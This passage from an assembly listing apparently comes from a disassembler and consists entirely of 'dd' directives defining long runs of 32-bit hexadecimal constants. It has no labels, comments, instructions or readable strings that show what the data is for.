		dd 0D5F9DB6Ah, 72483E00h, 0E888B856h, 61C80033h, 2DC5269Dh
		dd 9AA04D65h, 8F2E9B0Dh, 0CC065FD6h, 183CA2h, 0C32D1563h
		dd 0E143E2DBh, 6BD41E03h, 0A706C28Fh, 436E1852h, 25C200A2h
		dd 0ECB896C5h, 16981CCDh, 0A0579713h, 0C08F07B0h, 4CCA7240h
		dd 8BA2B683h, 960A0417h, 42318C9h, 0C3EB435Dh, 0ABB7B4E0h
		dd 2B582F03h, 0E872BE62h, 0F38380h, 7AECF82h, 0F2B20C59h
		dd 40A7A400h, 4667326Dh, 0A878B0B5h, 0BDCB38h, 3AA7AE6Eh
		dd 0EC4478A2h, 36A43D00h, 25DA50EEh, 0A66A0018h, 374D3AA5h
		dd 0B753D893h, 0CD3C420h, 3880AD60h, 0B299590Ch, 0F0AF8869h
		dd 77892F2h, 371D3F02h,	0E5BFD3CFh, 9EED1021h, 0FE9C0F65h
		dd 14EAA5E0h, 46030840h, 0EF039ED9h, 5180010h, 0AE7C1E1Ah
		dd 523C9FF2h, 0A3ED002Eh, 3F09F33Ah, 892F0051h,	40E96CA7h
		dd 88C0AFBBh, 1D0ABCD7h, 6798A08Ch, 0FAF01C3Fh,	0B6D970A5h
		dd 5D601B7Bh, 4E6A0149h, 0B82116DDh, 744106BFh,	0D0366182h
		dd 78B0384Dh, 2EB4201Eh, 0C3207A54h, 0CF72B902h, 3EC1E5C8h
		dd 20B1E968h, 91B9D641h, 47D8F0FCh, 5B1DC8BCh, 8508C079h
		dd 0F9B51C29h, 3418231h, 4896D972h, 49B93928h, 0B30740DAh
		dd 0C05C653Ah, 1A86E4A4h, 3A71C4Ch, 8FA8D10Ch, 0ADACE0F4h
		dd 0CB548AAh, 5CF4250h,	269867BDh, 7B202082h, 10F2474Bh
		dd 0E40BFC23h, 0C3464253h, 10D48AB1h, 8914D6C0h, 0F07120C5h
		dd 0DF3DF21h, 49F05B11h, 412A3010h, 20A664F0h, 9150EA3Bh
		dd 4F19F7Ah, 0B8040E2Ch, 0F79280Eh, 7BA328AFh, 0C011BFD7h
		dd 0AA631437h, 0FF884097h, 9589F146h, 0E040C808h, 0AFF17297h
		dd 0F5CA9E47h, 1B0EA20h, 0E29546B5h, 567B1FA0h,	27016007h
		dd 0F4922814h, 82804A7Eh, 0B93AB12Dh, 0EAC37020h, 5460BCAEh
		dd 1203C064h, 5CD3EBF7h, 92265DDCh, 64E0013Bh, 2096BEC0h
		dd 4A006120h, 949EB1EDh, 2612101Dh, 258A4E0h, 0F37F4140h
		dd 4A66F0Eh, 10C2B0F2h,	0E6209865h, 0B90911F4h,	1E0EF205h
		dd 7E115B77h, 0BAF11A77h, 0A8170EAEh, 368C0A1Dh, 33017E20h
		dd 2B86AC4Bh, 101F4968h, 34A0AD62h, 0D0F87A4Bh,	0EAA11C42h
		dd 84020EB1h, 1A6F7406h, 0B0E6213Eh, 9F3C52C0h,	0C4364756h
		dd 0BC38AF52h, 5EFB8178h, 416E3060h, 60DA1822h,	8A4D28E2h
		dd 1A4CC202h, 6BE780A8h, 0F61FC97Ch, 0DD898FBEh, 0C2C89426h
		dd 548F640h, 0F16428C5h, 28CAE8D4h, 346F4702h, 573EBA70h
		dd 0E014005h, 0C5C0CBCDh, 0C92860FCh, 0E486AE21h, 5E62C89h
		dd 12A2EA6Bh, 0D96078BDh, 8802643h, 0C1F60DC2h,	0B0CD908Fh
		dd 750F5833h, 6480A54Bh, 680253E1h, 238207F1h, 0C9E295C0h
		dd 886E538h, 0BF2E4B85h, 0AB6F2154h, 84A404Ch, 0BCCAAE9h
		dd 50F5FF9h, 9536074Ch,	87AB4078h, 6110C682h, 271015CBh
		dd 0F93993F0h, 7BA26242h, 367F0A1Eh, 0F120F502h, 4A1CEEB7h
		dd 1E7FF189h, 0C632260h, 9FFC5938h, 4D2CA728h, 73C02C2Ch
		dd 11D03C14h, 0F2A0FB15h, 0A6ECC5A0h, 0E80A394Ch, 0F120B4F6h
		dd 714C63B4h, 13A3C920h, 7064E22Ah, 1E52B148h, 0E41B4423h
		dd 0F68CBFAh, 824E4BF8h, 3E1A80FEh, 20A5ADE8h, 0DE331001h
		dd 7A1F1D9Fh, 88222B26h, 4E7CAA5Bh, 558304E8h, 7CBFAD82h
		dd 0E06899ADh, 0DFDA836Dh, 39C5BE47h, 9202820h,	4D778E08h
		dd 0F41F9BAh, 0AD15CE4Ch, 15E2203Eh, 0CD0F0116h, 2E50BCE0h
		dd 69211FB4h, 2C3B66E1h, 2140BCEAh, 0C940219Dh,	118D71B9h
		dd 0F2C10AF6h, 42096C5h, 56B76231h, 0A5B17CB5h,	0A050BDE0h
		dd 0FD9A2B83h, 2D99C440h, 468EC000h, 0B455232Ah, 20708DE5h
		dd 8CF5840h, 0BA361048h, 0D319C4F8h, 0F8C82910h, 0B7FE1A96h
		dd 21A18B8Fh, 6DF2E81Ch, 0C1F79911h, 209675F2h,	40CA104h
		dd 0C97CB569h, 5882BD85h, 16334E85h, 7D4840BCh,	0B07FF040h
		dd 0A165429Fh, 604A2F59h, 0DCC2F902h, 0EF3EBEA0h, 0C228204Bh
		dd 406257CCh, 5A6188h, 7B6D7980h, 0CAB4476Fh, 4378A091h
		dd 28BE21A8h, 404B2551h, 0F4D4107Ch, 0FBA953h, 4AB84E41h
		dd 834CACB0h, 3D3CBE03h, 0C04FB682h, 587623A0h,	3105408Fh
		dd 3034D1Ah, 0CE5BDE28h, 0BC3901ECh, 0A2F44C84h, 8215073Ch
		dd 0C14D5D96h, 3D0ABFB0h, 3F250584h, 280B5960h,	38F8A35Dh
		dd 2021A5F0h, 180F66B6h, 0ABC81830h, 9341306Ah,	0E3172B40h
		dd 8459806Fh, 250F9271h, 183D1B86h, 0C18AB7Ah, 2D30838Dh
		dd 0C0765DBFh, 0E982C10h, 0BF51CD7Dh, 9D146831h, 0B912388Ch
		dd 0B80F3D90h, 0AFBC1C36h, 18708069h, 50ADE3h, 76B284C4h
		dd 95C82B16h, 1458F70Bh, 240480E2h, 7413CBAh, 834D5C2Ah
		dd 502E663Eh, 0FCA5CE2Eh, 612B6E80h, 0BA7EE50h,	983EB030h
		dd 82CF9007h, 0C8A03D6Fh
		dd 4983C6D7h, 9C8EB01Ah, 998C6020h, 0CA68C3C8h,	259996ECh
		dd 0D4E440B2h, 0E600B862h, 2AA5A01Fh, 8E6D56h, 1AF8649h
		dd 0CBA1A75h, 977F3C00h, 0B0612CB7h, 0E6F0A472h, 0C8C1000Bh
		dd 0D73EAA49h, 0AD00F05Ch, 4632781h, 0CD9D3F4h,	4A413B71h
		dd 91009F48h, 9CB34479h, 5038730h, 0A0B71764h, 0ABA42033h
		dd 2B61550Ah, 322EB560h, 0AF152C3Ch, 4D39C038h,	0B3B8BF81h
		dd 871AD0A7h, 525D1D58h, 824BBDE7h, 0EA8CD5D0h,	0F9078B0h
		dd 0AAFEC071h, 4CA9AD3Fh, 0AA18F4E5h, 24170261h, 985C96ADh
		dd 0F590A028h, 24720380h, 0E34BE51h, 27AA38C6h,	8BB49EFCh
		dd 48868481h, 830448C8h, 246A02D6h, 9E0F0h, 82D303F7h
		dd 2B0C8BA4h, 5FD0A8A5h, 0FFCE00B9h, 263C3AB0h,	80C168A1h
		dd 0FD8A1825h, 0D00B18BCh, 0B0C0AD33h, 0B14B1A9Ch, 0F99D300Ch
		dd 18DD0E36h, 0FDE0D853h, 51455AEFh, 0F25490Ah,	0A5029467h
		dd 0FA9F33A7h, 0CA770000h, 67D8AD42h, 0BE60E21Ah, 0F2881618h
		dd 6BB21FD2h, 0D0212F65h, 123CB068h, 30E08008h,	909D8A10h
		dd 6E461254h, 2C800E4Bh, 1BC9E5h, 850A5D50h, 67009080h
		dd 62D33DC3h, 0C1B09264h, 3CB1D921h, 0BFD420FEh, 7E80FCB4h
		dd 0F0FBBDDCh, 0B94A3D7Ah, 0A5B41962h, 253E0C44h, 4870D279h
		dd 0E547A000h, 0AAAD0223h, 79D54180h, 24882C40h, 3F83FE06h
		dd 3C3877FCh, 630002AAh, 7A87C164h, 1E545D85h, 7B02C694h
		dd 2F2C378Eh, 0C8744B62h, 0FB22CF87h, 47089987h, 0A27D30A7h
		dd 4C98AF78h, 0CB33CF09h, 0A2700F0Bh, 442A4B6Ah, 0F2773224h
		dd 0DBFC1848h, 4424C01Fh, 37C50F82h, 0DA1040B5h, 2B8A83Eh
		dd 78BF0FA2h, 0C787F339h, 90548430h, 0EBBAC8B4h, 1426AF7Fh
		dd 86BE1490h, 0C6FD40A0h, 0DEF80210h, 76614187h, 0AD27200h
		dd 798600C4h, 0BDB1CFEDh, 3490F29Eh, 0A568A300h, 0F703ABA9h
		dd 1254BCEFh, 5B4C0469h, 0C13D045Ch, 1890E4A5h,	7162C407h
		dd 0D6180322h, 0AFA544ADh, 38A76840h, 0C248E635h, 99B30C04h
		dd 6D78C1B8h, 43D001E2h, 92028C50h, 42A92864h, 5F90480h
		dd 0E213B972h, 0A0122AB0h, 0D0417039h, 267CA494h, 890C6954h
		dd 22F4E920h, 462E9AB9h, 0C0BE42Eh, 90A8C4FBh, 7C9A49A0h
		dd 8FF70406h, 3C4C1813h, 0C1F22F4h, 6F1CBDA7h, 0EA2B46C0h
		dd 388D2449h, 0A8021925h, 82107889h, 236C62A8h,	7EB93D84h
		dd 308256FEh, 0E8445501h, 10224685h, 14BE48D3h,	80113572h
		dd 258314C4h, 0F1B42CA4h, 0E7F10420h, 1A7DFE00h, 1C09684Eh
		dd 0B980F91h, 0E7A4206Dh, 0BC03B956h, 0A72A007Ch, 0D0FEBDCAh
		dd 0FC34E8A0h, 28113F2Eh, 0B01E4D92h, 8082E809h, 417F27F0h
		dd 3CAD5262h, 0C8BC4D10h, 1011E164h, 46EF0882h,	8C5E1D99h
		dd 0C2811161h, 10A48614h, 218CAF52h, 54889CADh,	1E45C22Dh
		dd 784C2B19h, 3F874322h, 9C3C44DDh, 4231ECB4h, 14418245h
		dd 91087D7h, 529069CFh,	1530AB52h, 3E18E8A6h, 4CA3A2E7h
		dd 7A25F820h, 6D0A8044h, 9CD81A80h, 9995F5E2h, 304C5FD8h
		dd 6070549Eh, 219CAE01h, 0D69780DCh, 0C49CFE10h, 0F0329B89h
		dd 8607AD38h, 8ACB723h,	2965E29Eh, 3B083C31h, 9C590710h
		dd 0DCF2B42Ch, 0CCB9842h, 26460538h, 0A5E1440Ah, 0C4CE1158h
		dd 443193ADh, 4395182Ah, 994F115Ch, 32ED0284h, 543C99E1h
		dd 20329458h, 0B22D69E4h, 8003307h, 0A38A2031h,	0A9264E44h
		dd 88E84521h, 92812CA8h, 70172BFh, 3CCF2307h, 0ADB53008h
		dd 9C9C44F2h, 0A3439500h, 529F8723h, 95AD90A1h,	137AA260h
		dd 20393011h, 0B0F876F0h, 44414284h, 1821C884h,	0C7920AA5h
		dd 0BC1DC2D8h, 6C4C9419h, 838C210Dh, 86C71F11h,	0B14458AEh
		dd 5424309Ch, 8E023CE7h, 23864D73h, 89042D84h, 8F228211h
		dd 9AE3A23Bh, 80E85A90h, 0FF10803Ch, 298E0608h,	88E4AE29h
		dd 7F941F38h, 882034FCh, 54C2A0ACh, 612CF49Bh, 82E4344h
		dd 1223046h, 0B559399Fh, 8470A0A1h, 92D83D59h, 0E2C12818h
		dd 752B8684h, 480A9C21h, 8E8A30B8h, 0D54160C8h,	0E808F317h
		dd 6A410600h, 83BA2C09h, 0F049E8E1h, 0C8DF005Fh, 91AF24D2h
		dd 43001FB3h, 397567CCh, 3974AD49h, 10334B6h, 0A36A5C2Eh
		dd 1C05FBC0h, 0E6362C01h, 0BB3C77B9h, 74C3DE0h,	0A324B839h
		dd 95188C6Dh, 58B5F0BDh, 0DD00ACD4h, 0C98C34DFh, 0B403B9E9h
		dd 0AF1C6A4Ch, 3FFAB9C8h, 1FB83BE0h, 0F02EFDh, 18A90159h
		dd 83306594h, 0BA47B16Dh, 502F63AAh, 9A99EB17h,	0B115F050h
		dd 1E1E24A6h, 6208FD32h, 0A4A8611Bh, 4EAB0150h,	0C8F999Fh
		dd 0BA19A57Ch, 323758A8h, 109F5281h, 0C17C004Ch, 78B9A56Bh
		dd 0B4284D60h, 0A30F3AC8h, 961810A0h, 0CC2E006Bh, 94336738h
		dd 749A01DFh, 0B67395CBh, 0BEA8502Ch, 40672398h, 6CC77A58h
		dd 0E0375290h, 1094A653h, 0B1F0BF9Fh, 0E188B472h, 5501A88Bh
		dd 4B2AD52Ch, 0E1A48081h, 8A38B9A2h, 14AF6211h,	8696DC01h
		dd 0E445678Eh, 0AE955800h, 337A6A91h, 9738DD01h, 6524C90Eh
		dd 5595836Ch, 92EC98B2h, 40010514h, 27C1EB8Fh, 203A55CCh
		dd 0AD48A9A8h, 2300A4A6h, 39C9941Fh, 0C2D5D0h, 0CFF71C6Bh
		dd 492E289Bh, 0F44C29C0h, 62C2869Dh, 0B1498BBh,	0CC002DE2h
		dd 9FC07017h, 7AD12860h, 92A7D9Eh, 0B1CE2E24h, 9506860Eh
		dd 688BE017h, 7E2E5008h, 334A881Dh, 8183BC42h, 0EBB69D60h
		dd 8398799Fh, 0BAADAFF0h, 3BFDBFC0h, 865027F0h,	7B2AA508h
		dd 0AC1490AFh, 3E8E7CFh, 0E13D0349h, 328804C4h,	87127844h
		dd 0BC2B800Ch, 0E0A8A4CEh, 0F4A108A1h, 1A44417h, 0D35AF0E8h
		dd 0A43052B9h, 114C2422h, 80AFF2DFh, 0BBF80AFEh, 718350E0h
		dd 1B4C83Ah, 3E0118BAh,	4840C3A9h, 88B08C39h, 1915B610h
		dd 75C8D8B9h, 0FAB7CF04h, 0E484492Dh, 84670C00h, 662B8070h
		dd 205BA16Dh, 0F8AE283Ch, 36835E15h, 110A7818h,	0B44A263Bh
		dd 7CBFDE80h, 189C83A4h, 0A88CE83Ah, 0A2287E7Bh, 4B06CC4Ch
		dd 6C049EA5h, 57BC10F1h, 8CA06305h, 0D36801F2h,	289CA5B4h
		dd 0BB144177h, 21543078h, 0C81014ABh, 0DF155A5Fh, 3E00983Ch
		dd 0FAAC8825h, 40C039C0h, 0A583AA7Fh, 1590C1B1h, 431F93B7h
		dd 75E1B6A8h, 0D8490498h, 0EE80FDD4h, 4B2B6BD5h, 39B0F700h
		dd 2A6593CEh, 0AAE8C249h, 0C8A118F1h, 5B20183h,	50932C03h
		dd 9270E01Bh, 0F1E51049h, 131F186Dh, 1217FDA9h,	42C0668Ah
		dd 61D5837Ch, 3B75DB20h, 0A391C374h, 510A4A7Eh,	0A8E9F3BAh
		dd 11170B8Dh, 0E1E095F5h, 0A90826F8h, 0EACE405Ch, 7801034Fh
		dd 0FC318119h, 24404BB6h, 0C090BC3Bh, 2D30C3B1h, 92498B5Dh
		dd 2C3D2ACCh, 0C9937B13h, 80997408h, 2A4AA0AAh,	18CA02E2h
		dd 0F88DD025h, 78404148h, 0A84037DCh, 0F4593D24h, 0EE170592h
		dd 41FB21D2h, 45EB1248h, 0EC28A429h, 200BCF09h,	7954E794h
		dd 0F096021Fh, 0FAEEC8C3h, 0AAB630A0h, 789A2B17h, 0DF1CA805h
		dd 8413836h, 27BEAAC4h,	302012E5h, 2004B067h, 41A12FA0h
		dd 0A1688215h, 62C110D1h, 0C2D443BCh, 779E1022h, 2D4C46F2h
		dd 247B383Ch, 0C308609Ch, 0D1AC096Bh, 10930489h, 30FCCAC1h
		dd 0D540BC90h, 0EF3C021Ch, 0FFDF1E32h, 7953D0A0h, 160615CDh
		dd 12833B66h, 7E7C1671h, 4B184A73h, 44074F34h, 90AD14AEh
		dd 213643E8h, 0CE38A348h, 637C419Ah, 8229928h, 0CA1E3682h
		dd 1C460C60h, 88151328h, 390EC3E4h, 87FA6CCBh, 11A2954Bh
		dd 24584BD7h, 158FC02h
		dd 0A82EA3C6h, 67B60119h, 7C0B9422h, 0AE8326EAh, 38099F9Ah
		dd 8108BE59h, 1D0113CCh, 20F4C894h, 9DBFBA83h, 0F8E9ECE7h
		dd 0B445D405h, 0C882F9E6h, 6A9CA0BEh, 1F35B2ECh, 18461B07h
		dd 0DCBF19C2h, 48F97C13h, 4E504C03h, 4C78366Ah,	0A40E2099h
		dd 4BAEA7DBh, 9EE001FEh, 0D301945Eh, 50C1FFB0h,	0FF8841C6h
		dd 2810B699h, 19C69021h, 11782AC8h, 0E844308Ch,	3431C360h
		dd 44BAC8A2h, 9CF04591h, 21C9F833h, 809EC06Ah, 9411CCD0h
		dd 6284B230h, 0CE105025h, 0D5206607h, 6AD9782h,	584835F9h
		dd 0D3001031h, 0B5DAECC9h, 0BAEE4h, 42C14E59h, 97837FA6h
		dd 18C28A0Fh, 0F90FB727h, 32B9A0DEh, 18B4A329h,	38530D50h
		dd 2C3A016Fh, 0FC00787Fh, 3D7E3F96h, 0E20A23E9h, 50B62EE1h
		dd 53BA0087h, 0D2B20D8Ah, 3B439206h, 68993Fh, 854B3DD3h
		dd 0EEA57DF4h, 9460E00h, 0C0E5AACEh, 40276038h,	2853449Ch
		dd 0E40A3B00h, 4F54B493h, 0C272004Bh, 0D4C40B92h, 2F001D27h
		dd 0C3A60184h, 18C13F53h, 0F03E3331h, 6C009511h, 0FF7DD2C2h
		dd 1E9867BCh, 0BA3B2D49h, 0A579Fh, 7EE52F08h, 5505C5A5h
		dd 7A0B504Fh, 86125808h, 70C3D72Eh, 0A3012F71h,	4C58889h
		dd 2E403A2h, 9D20A081h,	0D0A0CF57h, 0AECF1810h,	1BA8208h
		dd 630E5008h, 0C91AC7FFh, 92440A6h, 943EC46Dh, 6BF415F8h
		dd 0E2C604C8h, 0D00323E0h, 48000A0Dh, 2488059Ch, 0E69EB1Fh
		dd 9DCC3A2h, 6B390E40h,	3F002C6Ch, 0D2B1D9EAh, 6C7341B4h
		dd 0E21838EDh, 30C5E320h, 6299B002h, 83741334h,	0B087D1E7h
		dd 5D7018F0h, 0C9A66F50h, 14D25F04h, 0CE0A0014h, 0AE7DBF88h
		dd 0EF500E5h, 0B56359A2h, 0F4635A27h, 118C4B28h, 1FD70610h
		dd 7648B4C1h, 281790EDh, 6D401859h, 9909677Bh, 0C54A50FFh
		dd 781E1054h, 0BE4F1E42h, 1E5A931h, 285CF60h, 1C70BFC8h
		dd 1967C44Dh, 8008C084h, 0CDB88938h, 0AB6E5913h, 0AFCAE0E4h
		dd 387F60FAh, 186F2ED8h, 0BE186C90h, 3D18FCD4h,	27B73F37h
		dd 67857A4h, 0F82445DDh, 0AD655301h, 6892C30Dh,	62C43986h
		dd 0E000283Bh, 54B9415Eh, 28F9EB34h, 485C8A2Bh,	7530B4AFh
		dd 0BEB74F49h, 3E6438F8h, 1D022111h, 2B068376h,	71C83130h
		dd 0E1BF3311h, 102043C4h, 31961030h, 70F4D9DCh,	4B3C02AAh
		dd 0A58AC86Ch, 91825848h, 1200BF9Eh, 4902B88Bh,	0AF10003Fh
		dd 1AF5530Bh, 7660502Fh, 68E24130h, 9A25h, 0A4303F3Ah
		dd 0A76FAC2h, 0F1EB2C09h, 0D10209Bh, 54FDEC0Eh,	0FA846Dh
		dd 0A4283F38h, 7A9DE963h, 0F0A1C707h, 59AF65h, 50D8BA2Ch
		dd 0A3BD12BEh, 0D27C00F6h, 0F9AAEA04h, 0AF67F11Ch, 98A9C48Dh
		dd 71A86409h, 0B47B007Ch, 0FE744855h, 0B7EC4903h, 0E870ECA9h
		dd 0E36051D7h, 23CFA711h, 2C873D5Bh, 85A85624h,	2C1D5128h
		dd 0D7190278h, 0EF1815A9h, 0D5D54C21h, 0B55C2C00h, 0D6CC4119h
		dd 0F2023E11h, 89601044h, 29923461h, 7DD80D1Dh,	0DCB896C1h
		dd 0ED79EB3Ah, 603D1724h, 0A4A42F1Fh, 0C29E1081h, 11800ADAh
		dd 13B12E53h, 0CC30FF76h, 737C1923h, 4C517209h,	147398BAh
		dd 0A0A1EA43h, 0E238F004h, 9898C124h, 0AFDBE06Ch, 4F0DFCA1h
		dd 164522D8h, 747FFBDh,	60844991h, 8646E303h, 23FD6C09h
		dd 9D840087h, 0E0177B80h, 0FF241271h, 2D2C4139h, 4328BC92h
		dd 6100AC9Ch, 0D89D7005h, 30DD45F4h, 2E100213h,	38A00D19h
		dd 1A3DEE51h, 53C8172h,	2E89FDCh, 40AA1C40h, 0D0A6092Bh
		dd 0F005FE2Eh, 94A8344Bh, 4CA854A8h, 6BC2A61Dh,	4F5458Ch
		dd 377FB9E8h, 3B8491CEh, 7D2531F4h, 31BA1192h, 22590850h
		dd 0AF981244h, 79DD6005h, 2DCD84Bh, 4ECC564h, 8C549098h
		dd 80A4DAF5h, 0A50A9920h, 0D4AD8830h, 4AC77C03h, 9710077h
		dd 0A57A394Fh, 680101C2h, 6B8D177Eh, 6E9EA33h, 13DEC841h
		dd 6A119C27h, 0C412EF55h, 838440F0h, 469D3958h,	0B8710A26h
		dd 0B59B1360h, 8A0B2C03h, 0B43C153Ch, 0B177C403h, 116049CFh
		dd 2D96E5E8h, 0AF16146Dh, 0FD0290C2h, 4892B72Ah, 804C0909h
		dd 0C3A4517Ch, 44FA4889h, 4E740ED6h, 0F81E8494h, 7456146Bh
		dd 3B490478h, 0C8789C8Ah, 24000A7Ch, 0D2DB0577h, 3AFCC497h
		dd 0BA18E869h, 0D39CD03Ch, 20BBFB2Ch, 2F0C7D11h, 0B4B16ACFh
		dd 85D03Ah, 42F0EEADh, 0D7A4B1h, 0F1716F59h, 0E8B9AEBAh
		dd 0FF44EA00h, 64575412h, 261A72B2h, 4F8D350h, 88224C9h
		dd 2211164Bh, 8993008h,	21190248h, 0FCAE13F1h, 0B34993C2h
		dd 56C405F8h, 9082E722h, 0C5504810h, 14C07BBDh,	9063F845h
		dd 0D3185030h, 0DD30CB1Eh, 0C1202916h, 36DA31B7h, 93709661h
		dd 64212EF1h, 5824B11Fh, 3E04B9DAh, 20297CB0h, 3C489D07h
		dd 649281C0h, 9C483F48h, 0A8C1130Eh, 0E054014Fh, 50C43056h
		dd 583B42B0h, 109B244h,	0D4764370h, 70DBED03h, 0D640F808h
		dd 2E30BA4Bh, 0C5180989h, 16100BF1h, 38D28B9h, 65110581h
		dd 4B0E719h, 6886A84h, 221039FBh, 0A2648272h, 9D409190h
		dd 0B4521DB8h, 9F545048h, 87769380h, 0A11E28E7h, 8852BFE4h
		dd 2F98983Bh, 54B549FFh, 0B31A8B02h, 98E0D7AAh,	30004207h
		dd 0B4938F12h, 60642F24h, 0F1DC2850h, 57097765h, 9FCCFAh
		dd 8C4686Ch, 0FC861F50h, 1AA93B55h, 0AE87800Ch,	0FE5E390Ah
		dd 21FCB0A1h, 0AD6FF071h, 0E0420503h, 0BDB41A8Ah, 0DD524007h
		dd 2030264Dh, 0E34707A9h, 8B45C5A5h, 2F031810h,	0BF1EA800h
		dd 3A4F55C4h, 8544CB2h,	26E40450h, 825450C0h, 858E4916h
		dd 839FFC81h, 185C6017h, 0C255B206h, 0CB02460h,	5A4721AEh
		dd 2F40CE8h, 0A9D4C407h, 46331882h, 0E4400689h,	0C86A3AE0h
		dd 11CC9C03h, 880A4762h, 7C17BF09h, 0EDCD078Bh,	803EE4F1h
		dd 0ECD70574h, 0D416A494h, 0A50DC67h, 0BF05A77h, 3E50B571h
		dd 9BC9D4A0h, 466184AAh, 3F6C158h, 7F3C9C00h, 18188669h
		dd 8E72BCh, 0D7034842h,	0C4BEBBD9h, 0CE0A8B03h,	0B07DD665h
		dd 6682ACh, 36017C5Dh, 7FFFC4CFh, 1FA933Fh, 47F0A63Ch
		dd 0B840B1EBh, 0F2D708E4h, 0C583035Ch, 6323C28Bh, 0C732487Ch
		dd 64211915h, 0E0ACA34Ch, 0C77E399Bh, 0D83D09B1h, 80A2CD0Fh
		dd 7418C173h, 0EDEA0137h, 2B35A766h, 7AFD4F0h, 3C14F8C4h
		dd 8892421h, 537C8613h,	9580187h, 468854D7h, 2910F8B0h
		dd 0EE0ED812h, 0BC707BF4h, 56843F1Ah, 0A82267Dh, 46BE000Ch
		dd 3AFE38F1h, 0C5252490h, 0CE1500D8h, 59758A3Fh, 5308C8D1h
		dd 0A01E2BEh, 0B780FA59h, 1873C20h, 0A044EBD8h,	31C3A7C2h
		dd 5D73EC4Ch, 0DF204153h, 9C80CCD1h, 8EAE7815h,	352BF05h
		dd 0C4413EC7h, 479B24E6h, 7973034h, 0B942DD33h,	0C387F0C6h
		dd 8674AB6Fh, 9221C260h, 38F145BBh, 476C4B6h, 0B1FA5A8Bh
		dd 0DE7481D2h, 0E8C6263h, 571887h, 0D90FD437h, 0EE73AF6h
		dd 52219A30h, 7000849Bh, 5158DAC6h, 0D2098Eh, 64225382h
		dd 396E9D55h, 2496AE05h, 0CC929B1Fh, 7548E00Fh,	0D3580A4h
		dd 482C30B0h, 606EC890h, 0DDCE587Bh, 3EE499C5h,	60B2A064h
		dd 74DC85F4h, 0C0104237h, 5384C7B6h, 2FB00042h,	0EA317638h
		dd 0B10DBA3Bh, 90E32E01h, 0E250A003h, 42A813D8h, 0BB21C58Ch
		dd 9D9186h, 0DC42C6ADh,	1552E548h, 0EC06490Bh, 0E3E25042h
		dd 0E0700831h, 2549AF5h, 0C137FC01h, 30624A04h,	38409C62h
		dd 0BA8038FAh, 96280014h, 493E6402h, 98007027h,	0BE2FCD1Eh
		dd 0A553BDh, 0ADBBF704h
		dd 0C83DE2Eh, 880FB800h, 890D3C96h, 82FE0075h, 13D3A5A2h
		dd 6700F727h, 0DA0695D8h, 0F48DB1h, 0C4A6C069h,	21D928D0h
		dd 5FF13E00h, 74262CFDh, 38A90016h, 0C3048E44h,	6E0040A2h
		dd 2B41BB48h, 7FC533h, 7DD10FE1h, 49E4F49Ah, 4E2CE300h
		dd 1C8CFE2h, 58FCF0C1h,	96010866h, 82F43868h, 2898E46Ah
		dd 0FB65780Eh, 3C003F71h, 0B262A430h, 0C42E0435h, 0C0DC0484h
		dd 6AD994B9h, 0DF52A607h, 3253A48Ah, 0A85CE137h, 15D7B06Bh
		dd 7500F8B0h, 0B9987EB7h, 7BA0D0h, 4DC8B6Ah, 0D76142F8h
		dd 6B9CCB19h, 50C41429h, 6EA6007Bh, 0DB728DCCh,	3BE8312Fh
		dd 90329900h, 0ECD3023Ah, 1856006Ah, 0A8B1EE19h, 61F23D88h
		dd 4BDAA100h, 3C50BDB8h, 594F0043h, 37420D41h, 95004C2Fh
		dd 6579D3B9h, 0A914B5h,	0EE13BFB7h, 9943B605h, 9C690900h
		dd 2A6D3431h, 0FDB20ECFh, 0A8842187h, 103C8035h, 2300D3EDh
		dd 718337DDh, 19CEF2Ah,	0EB1E77F0h, 209B81BBh, 0F418D773h
		dd 8C192B05h, 0FBF70E11h, 0FDC7BB6Fh, 0EBAD0C3h, 9B002CB4h
		dd 76645971h, 2C2186B8h, 1CAA2607h, 189FC096h, 0EF7A8404h
		dd 6D93E400h, 0ABBB4B8h, 1D947FDAh, 5C63B056h, 0E80B0045h
		dd 9D020464h, 771E4600h, 877D71DFh, 5C1D7705h, 0A60030D2h
		dd 0FB15F48h, 6100E940h, 8B7E5ACh, 0E4983186h, 38BF00AFh
		dd 0F69DDD53h, 0B5007EDFh, 0FA501774h, 0C461B3h, 6942E158h
		dd 0A54D246Ah, 0F3DC39h, 13FCD185h, 8F884h, 3144F93h, 0AF64CE4Dh
		dd 0B849B100h, 0C17C165Ch, 30B40068h, 4C8AB5B0h, 0CC0F2F86h
		dd 1F7D83Dh, 0AD160EFDh, 3984CCh, 455A6AB1h, 8BE60B9Ah
		dd 0D0C0F327h, 1B5E00BEh, 0C4E37B08h, 78000791h, 21538F35h
		dd 0E0C3B90h, 1F327030h, 1D9F9A0h, 5100DE9Ah, 97DBA0C1h
		dd 0C28FECh, 0C33E8614h, 0B35BE224h, 9E947A00h,	0ABC4A4ADh
		dd 6856001Dh, 0A98B07FEh, 0E100CE09h, 0AD8561F3h, 0E953C226h
		dd 3F8DBD9h, 0EC9E1D46h, 0DEA840C1h, 8A95328Fh,	0EAC3F1Ch
		dd 43C31400h, 7E59A0BEh, 0F6F0065h, 99CD2057h, 0AA009DF4h
		dd 5E419450h, 3311453h,	8480B92Ch, 62E09366h, 4001FC06h
		dd 33350EB5h, 4C8B455Ch, 23DC3BDBh, 65F6BD03h, 1DB6A86Eh
		dd 0B25B0030h, 6981C383h, 61071E34h, 7AA4A0DCh,	0C5B08421h
		dd 44A2E4h, 950A428Bh, 0BB41D912h, 58EC6C00h, 0BF2552B3h
		dd 448E3818h, 991B2800h, 0E373AE1Eh, 83236200h,	0EB8D6996h
		dd 633200C8h, 66F613EEh, 7BE0BC10h, 456DC900h, 77DCFA34h
		dd 0E8AD502Bh, 3FB73070h, 0A3EF714Ch, 0E3791300h, 0BE220DE8h
		dd 3DD53B0Ah, 9373FD00h, 4E83A263h, 311D3BEAh, 0C503DC4Bh
		dd 0F8B4D26Fh, 766D4955h, 0D906076Ch, 3A913Dh, 0EDF2B2F3h
		dd 0E41DCE03h, 88E3FE4Bh, 24D31242h, 0C4A021h, 702CAA2h
		dd 861F2D7Bh, 3AC11A4Dh, 47331B4Eh, 587709D8h, 0B0631B08h
		dd 7DE0E96Ch, 0C900EE68h, 4C80DD31h, 725BDA5h, 0F1BCE4E0h
		dd 0DBB3E06Eh, 0F6000E83h, 0C920B86Bh, 7558F51Eh, 395704DCh
		dd 803BA343h, 18E74C8Ah, 0D77EB00h, 1C5852C6h, 1D820984h
		dd 807060h, 0CFC46E34h,	76B1F000h, 32780F8Ah, 57900A8h
		dd 0D54258B8h, 4C988E0Dh, 3E19A300h, 21EE6C72h,	0DD4D178Ah
		dd 0A1490069h, 8B3BE42Fh, 5DD8B001h, 24893C1Bh,	0FE5B20h
